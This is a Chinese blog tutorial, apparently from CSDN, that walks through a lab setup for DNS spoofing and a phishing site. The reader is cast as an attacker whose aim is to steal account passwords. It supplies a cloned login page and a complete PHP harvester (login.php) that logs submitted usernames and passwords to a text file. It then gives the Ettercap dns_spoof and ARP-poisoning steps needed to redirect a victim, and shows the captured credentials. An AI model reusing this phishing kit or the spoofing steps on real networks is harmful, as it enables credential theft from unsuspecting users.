搭建网站实现DNS欺骗

本文档介绍了如何通过DNS欺骗和钓鱼网站技术进行黑客渗透学习,包括实验目的、背景、所需设备和步骤,如搭建Windows服务器、配置DNS、创建假冒网站以及验证过程。
摘要由CSDN通过智能技术生成

系列文章目录

目录

系列文章目录

 文章目录

网络搭建系列:网络攻击

Windows服务器搭建系列:Windwos服务器搭建

前言

一、什么是DNS欺骗和钓鱼网站?

二、正文

 

1)实验目的

2)实验背景

3)实验设备

4)实验配置

1.实验设备均在VMnet 2中 

2.实验设备IP

​编辑

3.测试连通性

​编辑

4.准备实验所需文件

5.模拟正规网站在服务器上搭建DNS服务器和Web服务器

8.实验验证


前言

随着信息技术的飞速发展,网络搭建和服务器搭建已成为现代社会的基石。它们如同数字世界的骨架,支撑着各类应用的运行,让信息的传递和共享变得前所未有的便捷。然而,这仅仅是开始,对于真正渴望在信息技术领域探索的人们来说,学习的道路上仍有无数高峰等待我们去攀登。

此刻,我们正站在一个崭新的起点,带着对知识和技术的渴望,开启一段全新的学习篇章。在这个篇章中,我们将不满足于仅仅搭建起稳固的网络和服务器,更将深入网络攻击.

学习新篇章的道路或许充满挑战,但正是这些挑战,将激发我们不断前行的动力。我们将不断实践,通过实际操作来巩固理论知识,通过解决问题来提升技能水平。我们将不断分享,将学习过程中的心得体会与同行交流,共同成长。

本前言旨在为广大学习者提供一个清晰的学习方向和目标,激发大家的学习热情,让我们一同迎接新篇章的挑战,成就更美好的未来。


 

一、什么是DNS欺骗和钓鱼网站?

DNS欺骗:

定义: DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。 原理:如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。

钓鱼网站:

钓鱼网站是指欺骗用户的虚假网站。“钓鱼网站”的页面与真实网站界面基本一致,欺骗消费者或者窃取访问者提交的账号和密码信息。钓鱼网站一般只有一个或几个页面,和真实网站差别细微 [1]。钓鱼网站是互联网中最常碰到的一种诈骗方式,通常伪装成银行及电子商务、窃取用户提交的银行账号、密码等私密信息的网站。

二、正文

 

1)实验目的

学习钓鱼网站如何搭建,DNS欺骗如何实现。

如何通过DNS欺骗来获取对方密码

2)实验背景

你是一名cracker,这次你不再是正义使者,而是一个正常的黑客,需要你做的就是通过搭建一个与正规的网站一模一样的网站对访问者进行欺骗,从而轻松获取到对方的账户和密码

3)实验设备

windows Server 2003 1台;客户机  windows 7 ;kali;(Windows Server 2003安装,Windows 7安装)

4)实验配置

1.实验设备均在VMnet 2中 

32f872e7eb755089daf6056fc2f11f6b.png

2.实验设备IP

操作系统IP地址DNS地址
kali   10.1.1.2/2410.1.1.2
wndows 710.1.1.3/2410.1.1.1
windows server 200310.1.1.1/2410.1.1.1

8d52ebcf9922f22d1b812f6907c57ae7.png

8b71692689d2017337e3867c3be98f08.png

3.测试连通性

02ef59d19b28323eed482c1f791e91cb.png

4.准备实验所需文件

1)

Windows 2003 中的文件

(1)index.html

(2)abc.html

index.html

<!DOCTYPE html>  
<html lang="en">  
<head>  
  <meta charset="UTF-8">  
  <meta name="viewport" content="width=device-width, initial-scale=1.0">  
  <title>XXX网站登录</title>  
  <style>  
    body {  
      font-family: Arial, sans-serif;  
      background-color: #f2f2f2;  
      padding: 20px;  
    }  
  
    .container {  
      max-width: 400px;  
      background-color: #ffffff;  
      padding: 30px;  
      border-radius: 10px;  
      box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);  
      margin: 0 auto;  
    }  
  
    h2 {  
      text-align: center;  
      margin-bottom: 30px;  
    }  
  
    .form-group {  
      margin-bottom: 20px;  
    }  
  
    .form-group label {  
      display: block;  
      font-weight: bold;  
      margin-bottom: 5px;  
    }  
  
    .form-group input {  
      width: 100%;  
      padding: 10px;  
      border-radius: 5px;  
      border: 1px solid #ccc;  
    }  
  
    .form-group button {  
      width: 100%;  
      padding: 10px;  
      background-color: #4CAF50;  
      color: #ffffff;  
      border: none;  
      border-radius: 5px;  
      cursor: pointer;  
    }  
  
    .form-group button:hover {  
      background-color: #bb4288;  
    }  
  
    .form-group a {  
      display: block;  
      text-align: center;  
      font-size: 14px;  
      color: #4CAF50;  
      margin-top: 10px;  
    }  
  </style>  
</head>  
<body>  
  <div class="container">  
    <h2>XXX网站登录</h2>  
    <form href="/ab.html method="post">  
      <div class="form-group">  
        <label for="username">用户名:</label>  
        <input type="text" id="username" name="username" required>  
      </div>  
      <div class="form-group">  
        <label for="password">密码:</label>  
        <input type="password" id="password" name="password" required>  
      </div>  
      <div class="form-group">  
        <button type="submit">登录</button>  
      </div>  
      <div class="form-group">  
        <a href="/abc.html">还没有账号?立即注册</a>  
      </div>  
    </form>  
  </div>  
</body>  
</html>

 abc.html

<!DOCTYPE html>
<html>
<head>
    <title>注册页面</title>
</head>
<body>
    <h1>欢迎来到注册页面</h1>
    <form action="register.php" method="post">
        <label for="name">姓名:</label>
        <input type="text" id="name" name="name" required><br><br>

        <label for="email">邮箱地址:</label>
        <input type="email" id="email" name="email" required><br><br>

        <label for="password">密码:</label>
        <input type="password" id="password" name="password" required><br><br>

        <label for="confirm_password">确认密码:</label>
        <input type="password" id="confirm_password" name="confirm_password" required><br><br>

        <label for="phone">手机号码:</label>
        <input type="text" id="phone" name="phone" required><br><br>

        <label for="gender">性别:</label>
        <input type="radio" id="male" name="gender" value="male">男
        <input type="radio" id="female" name="gender" value="female">女
        <input type="radio" id="other" name="gender" value="other">其他<br><br>

        <label for="dob">出生日期:</label>
        <input type="date" id="dob" name="dob" required><br><br>

        <input type="submit" value="注册">
    </form>
</body>
</html>

 

2)

kali中需要放置的文件

(1)钓鱼网站代码,核心文件 login.php,接受密码文本 1.txt

(2)三个文件放在一个目录下

钓鱼网站代码

<!DOCTYPE html>  
<html lang="en">  
<head>  
  <meta charset="UTF-8">  
  <meta name="viewport" content="width=device-width, initial-scale=1.0">  
  <title>XXX网站登录</title>  
  <style>  
    body {  
      font-family: Arial, sans-serif;  
      background-color: #f2f2f2;  
      padding: 20px;  
    }  
  
    .container {  
      max-width: 400px;  
      background-color: #ffffff;  
      padding: 30px;  
      border-radius: 10px;  
      box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);  
      margin: 0 auto;  
    }  
  
    h2 {  
      text-align: center;  
      margin-bottom: 30px;  
    }  
  
    .form-group {  
      margin-bottom: 20px;  
    }  
  
    .form-group label {  
      display: block;  
      font-weight: bold;  
      margin-bottom: 5px;  
    }  
  
    .form-group input {  
      width: 100%;  
      padding: 10px;  
      border-radius: 5px;  
      border: 1px solid #ccc;  
    }  
  
    .form-group button {  
      width: 100%;  
      padding: 10px;  
      background-color: #4CAF50;  
      color: #ffffff;  
      border: none;  
      border-radius: 5px;  
      cursor: pointer;  
    }  
  
    .form-group button:hover {  
      background-color: #bb4288;  
    }  
  
    .form-group a {  
      display: block;  
      text-align: center;  
      font-size: 14px;  
      color: #4CAF50;  
      margin-top: 10px;  
    }  
  </style>  
</head>  
<body>  
  <div class="container">  
    <h2>XXX网站登录</h2>  
    <form action="login.php" method="post">  
      <div class="form-group">  
        <label for="username">用户名:</label>  
        <input type="text" id="username" name="username" required>  
      </div>  
      <div class="form-group">  
        <label for="password">密码:</label>  
        <input type="password" id="password" name="password" required>  
      </div>  
      <div class="form-group">  
        <button type="submit">登录</button>  
      </div>  
      <div class="form-group">  
        <a href="/register">还没有账号?立即注册</a>  
      </div>  
    </form>  
  </div>  
</body>  
</html>

核心文件 login.php (一定要照这个名字起)

<?php

 $nam=stripslashes($_POST['username']);
 $pas=stripslashes($_POST['password']);

 $content="捕获到账号密码:"."用户名".$nam."密码".$pas;
 $filed=@fopen("1.txt","a+");
        @fwrite($filed,"$content\n");
?>

<html>
<head>
   <script type="text/javascript">
      function goBack()
      {
        window.history.back()
      }
   </script>
</head>
<body onload="goBack()">
</body>
</html>

接受账户密码文本 1.txt (直接创建就好)

5.模拟正规网站在服务器上搭建DNS服务器和Web服务器

(Windows Serve 2003 Web服务器搭建,Windows Server 2003 DNS服务器搭建)

8c446adccf7d20a750e1a5247bc67387.png6.使用Kali进行DNS修改

输入命令(在root权限下)

580d0affdf7a05ad888e3f907b042c8d.png

44a8cba0b373aad17be4abd2535b6e29.png

修改DNS正向解析和反向解析到的IP指向我们的Kali服务器,保存退出

7.搭建Kali的Web服务器

搭建服务器

2b3ea8b7cad1eff48d67d1ae6d67db70.png

找到路径/var/www/html下,将目录下的其他内容删除 

a00069f2fddbf999ad40dc2d04ab8a4e.png

d4b8d5f26d25aff4826b731d7921471e.png

 将我们上面写好的文件统一上传到对应的文件夹下

 3c6d7b4cd39809f41a5948e7a4291aad.png

给login.php足够的权限,后面需要写入写出内容

c27f7f6e91c59b2d88302449c86ad0d6.png

c71941f95880fa540167f6db4feb8e6b.png

进行扫描(软件如何使用博客已经写过,不懂可以去看一下Ettercap)

02e9ade779a542ecc21279332d4f7d9f.png

将10.1.1.1作为第一对象,10.1.1.3作为第二对象

3c2a276fad18a5bf03ccd1d29222cd85.png

14c14ac0363603c293044d4ee607cf9e.png

54a13e07151a41213ef1647b64fb4c9e.png

 双击dns_spoof后前面会出现星号(*),代表DNS欺骗开启,再开启ARP欺骗来做中间人

1642cf8fb236cd1552bce197a0f4af1d.png

59888b4b8ad7cb04bfd52b96539aa9b5.png

8.实验验证

这是未欺骗前的访问www.xxx.com网站,输入密码后点击登录,得到的是无法找到该页

3944e3a5840ea800328d2859446400e8.png

a897080595f57bac15450e53318386e9.png

我们需要刷新DNS解析表

WIN+R输入命令:ipconfig  /flushdns

fb956bf3409caa1d2294933d84442a28.png

当我们再次访问www.xxx.com网页的时候,输入账号密码后点击登录,发现客户端看到是只是刷新,而不是进行下一步

f98c2a35b7bfd444a69b060aa76b5019.png

这个是时候我们来到Kali上,查看1.txt文件

ab3d61a1d6e61f7ca152db43d82b8c81.png

我们多试几次

 266ea02e3ff6a2b28c9fdb8529f063bd.png

a3c575048c490d7e3824196bd4ea8cb4.png

再来到kali上看一看1.txt文件

4bcc0c42a62965ac2c551e01d44edbc9.png

 

 

 

 

 

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

可惜已不在

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值